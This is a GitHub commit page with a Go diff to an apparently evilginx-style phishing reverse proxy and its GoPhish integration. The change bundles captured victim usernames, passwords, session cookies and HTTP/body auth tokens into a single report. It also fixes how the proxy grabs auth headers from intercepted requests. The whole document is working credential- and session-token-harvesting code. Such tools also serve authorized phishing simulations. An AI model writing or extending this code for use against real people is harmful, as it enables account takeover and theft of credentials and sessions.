Skip to content

Commit

Permalink
wrap session info in single member
Browse files Browse the repository at this point in the history
  • Loading branch information
callightmn committed Oct 25, 2024
2 parents bf9fb37 + ea35292 commit 83d3197
Show file tree
Hide file tree
Showing 2 changed files with 25 additions and 24 deletions.
47 changes: 24 additions & 23 deletions core/gophish.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,14 +17,9 @@ type GoPhish struct {
}

type ResultRequest struct {
Address string `json:"address"`
UserAgent string `json:"user_agent"`
Username string `json:"username"`
Password string `json:"password"`
Custom map[string]string `json:"custom"`
Tokens string `json:"tokens"`
HttpTokens map[string]string `json:"http_tokens"`
BodyTokens map[string]string `json:"body_tokens"`
Address string `json:"address"`
UserAgent string `json:"user-agent"`
Data map[string]interface{} `json:"data"`
}

func NewGoPhish() *GoPhish {
Expand Down Expand Up @@ -107,25 +102,31 @@ func (o *GoPhish) ReportCredentialsSubmitted(rid string, session *Session, gophi
return err
}

var req ResultRequest
if !gophishSessions {
req = ResultRequest{
Address: session.RemoteAddr,
UserAgent: session.UserAgent,
data := make(map[string]interface{})
if gophishSessions {
data["username"] = session.Username
data["password"] = session.Password
if len(session.CookieTokens) != 0 {
data["cookies"] = (*Terminal).cookieTokensToJSON(nil, session.CookieTokens)
}
} else {
req = ResultRequest{
Address: session.RemoteAddr,
UserAgent: session.UserAgent,
Username: session.Username,
Password: session.Password,
Custom: session.Custom,
Tokens: (*Terminal).cookieTokensToJSON(nil, session.CookieTokens),
HttpTokens: session.HttpTokens,
BodyTokens: session.BodyTokens,

for k, v := range session.Custom {
data[k] = v
}
for k, v := range session.BodyTokens {
data[k] = v
}
for k, v := range session.HttpTokens {
data[k] = v
}
}

req := ResultRequest{
Address: session.RemoteAddr,
UserAgent: session.UserAgent,
Data: data,
}

content, err := json.Marshal(req)
if err != nil {
return err
Expand Down
2 changes: 1 addition & 1 deletion core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -1024,7 +1024,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
for k, v := range pl.httpAuthTokens {
if _, ok := s.HttpTokens[k]; !ok {
if req_hostname == v.domain && v.path.MatchString(resp.Request.URL.Path) {
hv := resp.Header.Get(v.header)
hv := resp.Request.Header.Get(v.header)
if hv != "" {
s.HttpTokens[k] = hv
}
Expand Down

0 comments on commit 83d3197

Please sign in to comment.